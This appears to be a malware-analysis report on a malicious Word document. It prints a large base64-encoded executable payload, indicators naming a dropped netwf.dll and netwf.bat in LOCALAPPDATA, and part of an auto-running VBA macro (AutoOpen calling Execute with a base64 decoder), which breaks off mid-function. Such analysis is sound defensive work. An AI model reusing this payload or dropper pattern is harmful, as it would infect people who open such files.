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QSQCwFcPtnkED77AgeeAAAAA0fiB+wBAAAB0UIH7AIAAAHRCgfsAAAEAdCaB+wAAAgB0HoH7AAAEAHU9gEkEgIsKjUwxJIoRgOKBgMoBiBHrJ4BJBICLCo1MMSSKEYDigoDKAuvogGEEf+sNgEkEgIsKjUwxJIAhgIX/X15bdQe4AIAAAF3D99gbwCUAwAAABQBAAABdw4v/VYvsi0UIhcB1FehAoP//xwAWAAAA6O+o//9qFlhdw4sNIDoBEIkIM8Bdw4v/VYvsuP//AACD7BRmOUUID4SHAAAAU1b/dQyNTezoDMj//4t17ItOFDPbO8t1FYtFCI1Iv2aD+Rl3BGaDwCAPt8DrS7gAAQAAagFmOUUIcx7/dQjorggAAFmFwA+3RQhZdCyLjswAAAAPtgQB6yCNVfxSagGNVQhSUFHoRAkAAIPEGIXAD7dFCHQED7dF/Dhd+HQHi030g2Fw/V5bycOL/1WL7FaLdQiF9g+EYwMAAP92BOjphv///3YI6OGG////dgzo2Yb///92EOjRhv///3YU6MmG////dhjowYb///826LqG////diDosob///92JOiqhv///3Yo6KKG////dizomob///92MOiShv///3Y06IqG////dhzogob///92OOh6hv///3Y86HKG//+DxED/dkDoZ4b///92ROhfhv///3ZI6FeG////dkzoT4b///92UOhHhv///3ZU6D+G////dljoN4b///92XOgvhv///3Zg6CeG////dmToH4b///92aOgXhv///3Zs6A+G////dnDoB4b///92dOj/hf///3Z46PeF////dnzo74X//4PEQP+2gAAAAOjhhf///7aEAAAA6NaF////togAAADoy4X///+2jAAAAOjAhf///7aQAAAA6LWF////tpQAAADoqoX///+2mAAAAOifhf///7acAAAA6JSF////tqAAAADoiYX///+2pAAAAOh+hf///7aoAAAA6HOF////trwAAADoaIX///+2wAAAAOhdhf///7bEAAAA
Document Version None
Digital Signature None
Language None
Notes None

File Analysis (Signatures)

HexStrings
0123456789 \x01#Eg\x89
IOCs
Executable file name PathPld = Environ(LOCALAPPDATA)\netwf.dll
Executable file name PathPldBt = Environ(LOCALAPPDATA)\netwf.bat
Suspicious
Kill May delete a file
Open May open a file
Shell May run an executable file or a system command
run May run an executable file or a system command
Binary May read or write a binary file (if combined with Open)
Environ May read system environment variables
Write May write to a file (if combined with Open)
Put May write to a file (if combined with Open)
AutoExec
AutoOpen Runs when the Word document is opened

Extracted Macros

VBA Filename NewMacros Extracted Macro
Sub AutoOpen()
    Execute
End Sub

Private Function DecodeBase64(base64) As Byte()
    Const decodeTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
          
    If 0 <> Len(base64) Mod 4 Then
        Exit Function
    End If
      
    outputLen = (Len(base64) / 4) * 3
    If "=" = Mid(base64, Len(base64), 1) Then
        outputLen = outputLen - 1
    End If
    If "=" = Mid(base64, Len(base64) - 1, 1) Then
        outputLen = outputLen - 1
    End If
      
    Dim decodedBytes() As Byte
    ReDim decodedBytes(outputLen - 1)
    outputIndex = 0
          
